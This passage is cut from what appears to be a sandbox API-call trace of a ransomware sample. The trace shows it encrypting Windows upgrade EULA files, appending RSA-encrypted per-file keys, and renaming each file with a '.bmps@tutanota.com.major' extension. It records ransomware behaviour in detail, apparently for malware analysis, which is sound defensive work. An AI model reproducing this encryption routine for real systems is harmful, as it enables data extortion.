Size=0x70) returned 0x5cdad8 [0158.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0158.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0158.296] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.296] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=65173) returned 1 [0158.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfe95) returned 0x2e60f28 [0158.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfe95) returned 0x6548b8 [0158.296] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0xfe95, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0xfe95, lpOverlapped=0x0) returned 1 [0158.305] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-65173, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.305] WriteFile (in: hFile=0x6e8, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0xfe95, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfe95, lpOverlapped=0x0) returned 1 [0158.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0158.305] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfe95 [0158.305] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.305] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.305] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.305] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.306] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.306] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="7OdlpjJz08VkCeS3QyvFnNZMJGh3QlvAlAgqlUYlu+dNH1GQakTjRbHXatIE/haV\nuMfKogagxtz0MJtv8I5luCDEkDZDAdiyrycJODqBKKWJ3UpTPo33aON4Xv0HJN3e\nordcZGRga7TG4Wpqq0F/+hHRJRj+ywg8PX3OBuKd77tylg+kUvfKoDiWyh3/lEN2\niq/CgsCQipMGVP1HrXKogbDWR7fAn0qlNiB+giGxLJlEHPricq01vcXpWN+EsU0V\nPP4BHtblMsjjv1eDa6wMyZhe6LDynpLoRNKtPDQh2sTl/yatfTdv08hAduXkIjv+\nB7yFaC1863JI0deBCf2Dgg==\n", pcchString=0x2e3f9a8) returned 1 [0158.306] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.306] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.306] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.306] CloseHandle (hObject=0x6e8) returned 1 [0158.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.306] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0158.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0158.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0158.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0158.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0158.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0158.308] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.308] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm", dwFileAttributes=0x80) returned 1 [0158.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0158.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0158.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0158.309] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.309] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=83315) returned 1 [0158.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14573) returned 0x6548b8 [0158.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14573) returned 0x2e60f28 [0158.309] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x14573, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x14573, lpOverlapped=0x0) returned 1 [0158.376] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-83315, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.376] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x14573, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14573, lpOverlapped=0x0) returned 1 [0158.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0158.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.377] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14573 [0158.377] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.377] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.377] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.377] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.378] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.378] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="hBaPICq0KjB5abhgvlof4jwPV2e5nkl4Alzqp31wBuY7bvL2Mn63NWUvI5e/ogOq\nwr/68c25u1hsp7B/LKT7cW4BISN4G8/okS1tEYjODHjgRLXf1NyrcSkDyDtIyped\n0ZV9J8dcToqGoVxyNlHrxjx/N8oaUhotLtgbptcD5VxvaHAybHUZq8kIYg2mU1GM\nDA1a8nI2pVyoK4/SOmLaMk66rAEB8NXBf0f1CZ3ibDBDyVUa9iZ76wzKhdnS7kjQ\n72Rjg6laKg1s2SioG4OD8AP9yMVikbv70uSKmLf94MupDmwWH+vr/og7kRYRThZw\nsJ6lhGJvUDyCojHLNoEWIw==\n", pcchString=0x2e3f9a8) returned 1 [0158.378] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.378] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.378] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.378] CloseHandle (hObject=0x6e8) returned 1 [0158.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.378] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0158.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0158.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0158.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0158.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0158.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0158.380] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.380] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm", dwFileAttributes=0x80) returned 1 [0158.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0158.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0158.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0158.381] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.381] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=253453) returned 1 [0158.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3de0d) returned 0x2e60f28 [0158.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3de0d) returned 0x2e9ed40 [0158.382] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x3de0d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x3de0d, lpOverlapped=0x0) returned 1 [0158.409] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-253453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.409] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e9ed40*, nNumberOfBytesToWrite=0x3de0d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e9ed40*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3de0d, lpOverlapped=0x0) returned 1 [0158.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e9ed40 | out: hHeap=0x570000) returned 1 [0158.410] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3de0d [0158.410] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.410] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.410] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.410] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.411] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.411] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="zqOQSnJ6Q03d+w8of4GZWakj3986PhST0/7ekemh5l9Aq5zTynGUu8cueM58eH+R\nPImFhDJU9H1zPs4r2nPu+T0/A2IBpIZyhtD23QxiErMIsS5Zdzlt5wjAyco6uBKd\ncVgp3EdFof7+YFnYYDAA/4EJW9cZnpE9pH875i5MbOHhv/OLANxnG6nzYwpHsjoj\noxUOiT+Rvn6rjx8BCVcpCYUjjsCi9nCxsCyygEXVZykeL6XH4fGMQZiNe/QRWUHS\n62t0oQExKcWwOca0p+xAWCg7o9tIeCxnQ4XVvHpoiu2pEUrMjcvoUQvFFwW1xsaS\niMAqwd3FqNZvlBa9NMpYDw==\n", pcchString=0x2e3f9a8) returned 1 [0158.411] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.411] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.411] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.411] CloseHandle (hObject=0x6e8) returned 1 [0158.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.411] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0158.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0158.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0158.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0158.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0158.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0158.413] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.413] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm", dwFileAttributes=0x80) returned 1 [0158.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0158.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0158.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0158.413] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0158.413] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=110445) returned 1 [0158.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1af6d) returned 0x2e60f28 [0158.414] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1af6d) returned 0x2e7bea0 [0158.414] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x1af6d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x1af6d, lpOverlapped=0x0) returned 1 [0158.466] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-110445, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.466] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e7bea0*, nNumberOfBytesToWrite=0x1af6d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e7bea0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1af6d, lpOverlapped=0x0) returned 1 [0158.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0158.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e7bea0 | out: hHeap=0x570000) returned 1 [0158.467] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1af6d [0158.467] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.467] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.467] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.467] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="6lHBZrYNcHOPtCpnRLdVjBTSIL3VaBkxGT/QZNjI+X0geL3OrJKCTQoK5yuARX8F\nJuwaH5NQ1B59pCfaJGbuxix+YpgkEbxA3C2L3XquEdbFCrkLqA7YEUMxXUlVy1RF\nh//8BgXhBkBucDQ8QxRwYUtkOCLkw88c7XOyB4FU74maiyWPlJm8DcdlAKIkY+By\nJS/BjoabShKKr+jVWL8IaO9H0L+NG/GgoaFNWlfOPU6oOioeCME/AHZvBASZ+K4E\n+3dU2DMA5R/QEJd2OEJ2+UxlveQorCDPx1Nm/9BuvEXhPPljU2wN5SE0LHlF/zgw\ncfu9jpO9NWP4L45iZiTfAg==\n", pcchString=0x2e3f9a8) returned 1 [0158.468] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.468] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.468] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.468] CloseHandle (hObject=0x6e8) returned 1 [0158.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.468] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0158.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0158.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0158.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0158.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0158.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec08 | out: hHeap=0x570000) returned 1 [0158.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9f8 | out: hHeap=0x570000) returned 1 [0158.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0158.474] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x19484996, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6313c0 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0158.475] GetLastError () returned 0x0 [0158.475] SetLastError (dwErrCode=0x0) [0158.475] GetLastError () returned 0x0 [0158.475] SetLastError (dwErrCode=0x0) [0158.475] GetLastError () returned 0x0 [0158.475] SetLastError (dwErrCode=0x0) [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, 